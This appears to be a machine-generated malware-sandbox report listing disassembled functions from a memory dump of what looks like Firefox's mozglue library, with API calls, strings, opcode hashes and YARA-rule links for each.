Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

-Infinity, xrefs: 6C539E60, 6C539E7B
NaN, xrefs: 6C539EAB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C4DDC08
, xrefs: 6C4DDA88
@, xrefs: 6C4DDAF6
-, xrefs: 6C4DD7DD
9, xrefs: 6C4DDE7F
0, xrefs: 6C4DD852
0, xrefs: 6C4DDC7F
1, xrefs: 6C4DDBDD

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C549459, 6C54921F, 6C5456C7, 6C545703, 6C545740, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C549459, 6C54921F, 6C5456C7, 6C545703, 6C545740, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

NtQueryVirtualMemory, xrefs: 6C53C431
ntdll.dll, xrefs: 6C53C413

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C4EA5D6
1, xrefs: 6C4EA824
0, xrefs: 6C4EA100
@, xrefs: 6C4EA625
' , xrefs: 6C4EA3D8
0, xrefs: 6C4EAB22

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C539450 Relevance: 4.7, APIs: 3, Instructions: 184COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C539514
__aullrem.LIBCMT ref: 6C5395E4
__aulldiv.LIBCMT ref: 6C53961E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: 46455eaeb25cc49a155715230d26bf7919960ccbbe4a10ab3cbd719948aba5ae
Instruction ID: a836d4522a44098b971da6cc4128bffa77574f050f79b1a855a0344f88fb5df5
Opcode Fuzzy Hash: 46455eaeb25cc49a155715230d26bf7919960ccbbe4a10ab3cbd719948aba5ae
Instruction Fuzzy Hash: C861B0B1B007158FCB18CF69C8907AEB7F6BF88304F24852DD45AE7791EB7199458B90

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547796, 6C5479C0, 6C547B0B, 6C5479FB, 6C547E0B, 6C54793C

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C5479C0, 6C547C03, 6C547B0B, 6C5479FB, 6C547E0B, 6C54793C, 6C547C72

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

